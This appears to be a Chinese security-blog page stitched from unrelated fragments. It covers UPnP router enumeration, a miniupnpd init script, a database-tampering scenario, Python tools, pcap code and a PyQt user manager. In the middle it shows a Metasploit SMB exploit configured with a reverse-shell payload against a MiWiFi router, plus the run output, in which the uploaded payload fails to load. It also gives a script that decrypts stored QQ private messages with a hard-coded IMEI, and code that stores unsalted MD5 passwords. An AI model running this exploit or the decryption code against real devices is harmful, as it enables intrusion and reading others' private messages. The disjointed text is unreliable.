某个设备的UPnP描述是 XML 的方式,通过http协议,包括品牌、厂商相关信息,如型号名和编号、序列号、厂商名、品牌相关URL等。描述还包括一个嵌入式设备和服务列表,以及控制、事件传递和存在相关的URL。对于每种设备,描述还包括一个命令或动作列表,包括响应何种服务,针对各种动作的参数;这些变量描述出运行时设备的状态信息,并通过它们的数据类型、范围和事件来进行描述。
And this is just the official specs All our devices can talk to each other! Brave new worlds of remote control and automation! Have your toaster turn on the lights, set the TV to the news channel, and send you a text message when breakfast is ready! The future is now! Nothing could possibly go wrong!
Miranda v1.3 The interactive UPnP client Craig Heffner, http://www.devttys0.com
Binding to interface wlx44334c388fbd ...
Verbose mode enabled! upnp> msearch
Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...
**************************************************************** SSDP reply message from 192.168.31.1:5351 XML file is located at http://192.168.31.1:5351/rootDesc.xml Device is running MiWiFi/x UPnP/1.1 MiniUPnPd/2.0 ****************************************************************
upnp> host get 0
Requesting device and service info for 192.168.31.1:5351 (this could take a few seconds)...
Device urn:schemas-upnp-org:device:WANDevice:1 does not have a presentationURL Device urn:schemas-upnp-org:device:WANConnectionDevice:1 does not have a presentationURL Host data enumeration complete!
START=95 SERVICE_USE_PID=1 upnpd_get_port_range() { local _var="$1"; shift local _val config_get _val "$@" case "$_val" in [0-9]*[:-][0-9]*) export -n -- "${_var}_start=${_val%%[:-]*}" export -n -- "${_var}_end=${_val##*[:-]}" ;; [0-9]*) export -n -- "${_var}_start=$_val" export -n -- "${_var}_end=" ;; esac } conf_rule_add() { local cfg="$1" local tmpconf="$2" local action external_port_start external_port_end int_addr local internal_port_start internal_port_end
config_get action "$cfg" action "deny" # allow or deny upnpd_get_port_range "ext" "$cfg" ext_ports "0-65535" # external ports: x, x-y, x:y config_get int_addr "$cfg" int_addr "0.0.0.0/0" # ip or network and subnet mask (internal) upnpd_get_port_range "int" "$cfg" int_ports "0-65535" # internal ports: x, x-y, x:y or range
# Make a single IP IP/32 so that miniupnpd.conf can use it. case "$int_addr" in */*) ;; *) int_addr="$int_addr/32" ;; esac
echo "${action} ${ext_start}${ext_end:+-}${ext_end} ${int_addr} ${int_start}${int_end:+-}${int_end}" >>$tmpconf } upnpd_write_bool() { local opt="$1" local def="${2:-0}" local alt="$3" local val
config_get_bool val config "$opt" "$def" if [ "$val" -eq 0 ]; then echo "${alt:-$opt}=no" >> $tmpconf else echo "${alt:-$opt}=yes" >> $tmpconf fi }
boot() { return 0 }
start() { config_load "upnpd" local extiface intiface upload download logging secure enabled natpmp local extip port usesysuptime conffile serial_number model_number local uuid notify_interval presentation_url enable_upnp local upnp_lease_file clean_ruleset_threshold clean_ruleset_interval
Malice是政府机构的数据库管理员,为公民提供犯罪记录。 Malice最近被判犯有欺诈罪,并决定滥用她的特权,并通过运行DELETE FROM Record WHERE name = ‘Malice’来删除她的犯罪记录。 但是,她知道数据库操作需要定期审核,以检测对机构存储的高度敏感数据的篡改。为了覆盖她的操作,Malice在运行DELETE操作之前停用审计日志,然后再次激活日志。因此,在数据库中没有她的非法操纵的日志跟踪。 但是,磁盘上的数据库存储仍将包含已删除行的证据。 作者的方法检测已删除的痕迹和过期的记录版本,并将它们与审核日志进行匹配,以检测此类攻击,并提供数据库操作方式的证据。 作者将检测已删除的行,因为它与审计日志中的任何操作都不对应,我们会将其标记为篡改的潜在证据。
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.31.1 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.216.129 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 7 Linux MIPSLE
执行攻击
1 2 3 4 5 6 7 8 9 10 11 12
exploit
[*] Started reverse TCP handler on 192.168.216.129:4444 [*]192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path [*]192.168.31.1:445 - Retrieving the remote path of the share 'data' [*]192.168.31.1:445 - Share 'data' has server-side path '/tmp [*]192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so [*]192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so... [-]192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*]192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so... [-]192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] Exploit completed, but no session was created.
import itchat from datetime import datetime import time import re import threading from itchat.content import TEXT from itchat.content import * from apscheduler.schedulers.blocking import BlockingScheduler
@itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True) defgetContent(msg): global g_msg groups = itchat.get_chatrooms(update = True) for g in groups: #print(g['NickName']) if g['NickName'] == '被转发的群名': from_group = g['UserName'] if'每日安全简讯'in msg['Content']: print("get message from " + msg['FromUserName']) if msg['FromUserName'] == from_group: g_msg = msg['Content'] print('成功获得群消息,等待转发') print(int(time.strftime("%H%M%S"))) while(1): if int(time.strftime("%H%M%S")) > 80000: SendMessage(g_msg,'发送的对象群名') g_msg = '' break
IMEI = '867179032952446' conn = sqlite3.connect('2685371834.db') c = conn.cursor()
def_decrypt(foo): substr = '' #print(len(foo)) for i in range(0,len(foo)): substr += chr(ord(foo[i]) ^ ord(IMEI[i%15])) return substr
#rem = c.execute("SELECT uin, remark, name FROM Friends") Msg = c.execute("SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New")
for msg in Msg: uid = _decrypt(msg[1]) print("\n"+uid+":") try: msgData = _decrypt(msg[0]).decode('utf-8') print(msgData) except: pass
struct pcap_file_header { bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */ };
1. do { 2. status = pcap_loop(pd, cnt, callback, pcap_userdata); 3. if (WFileName == NULL) { 4./* 5. * We're printing packets. Flush the printed output, 6. * so it doesn't get intermingled with error output. 7. */ 8. if (status == -2) { 9./* 10. * We got interrupted, so perhaps we didn't 11. * manage to finish a line we were printing. 12. * Print an extra newline, just in case. 13. */ 14. putchar('n'); 15. } 16. (void)fflush(stdout); 17. }
defadduser(self): print('开始添加') name = self.lineEdit_4.text() passwd = self.lineEdit_6.text() md5 = hashlib.md5() md5.update(passwd.encode("utf-8")) passwd = md5.hexdigest() group = self.comboBox.currentText() self.name = name if self.euxit(): if name == ''or passwd == '': QMessageBox.warning(self, "警告", "账号和密码不能为空", QMessageBox.Yes) self.lineEdit.setFocus() else: cur_path = os.getcwd() filename = cur_path + '/etc/passwd.txt' fi = open(filename, 'r+') str = name + ':' + passwd + ':' + group + '\n' print('成功增加用户' + str + '\n') fi.seek(0, 2) fi.write(str) fi.close() else: QMessageBox.warning(self, "警告", "用户已存在", QMessageBox.Yes) self.lineEdit.setFocus()
查询已有用户的实现
从passwd.txt中逐行读出
1 2 3 4 5 6 7 8 9 10 11 12
defreaduser(self): print('readuser') cur_path = os.getcwd() filename = cur_path + '/etc/passwd.txt' fo = open(filename) arrayofLines = fo.readlines() names = '' for line in arrayofLines: line = line.strip() listFromLine = line.split(':') names = names + listFromLine[0] + '\n' self.textEdit.setPlaceholderText(names)
删除用户的实现
从passwd.txt中逐行读出用户名,并与待删除用户比较,如果相同,则删除该行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
defrmuser(self): print(1) cur_path = os.getcwd() filename = cur_path + '/etc/passwd.txt' rmName = self.lineEdit.text() with open(filename, 'r',encoding="utf-8") as r: lines = r.readlines() lenl = len(lines) with open(filename, 'w',encoding="utf-8") as w: for line in lines: l = line.strip() listFromLine = l.split(':') if rmName == listFromLine[0]: print('删除用户' + rmName) continue if line == '\n': print('find换行') line = '' w.write(line)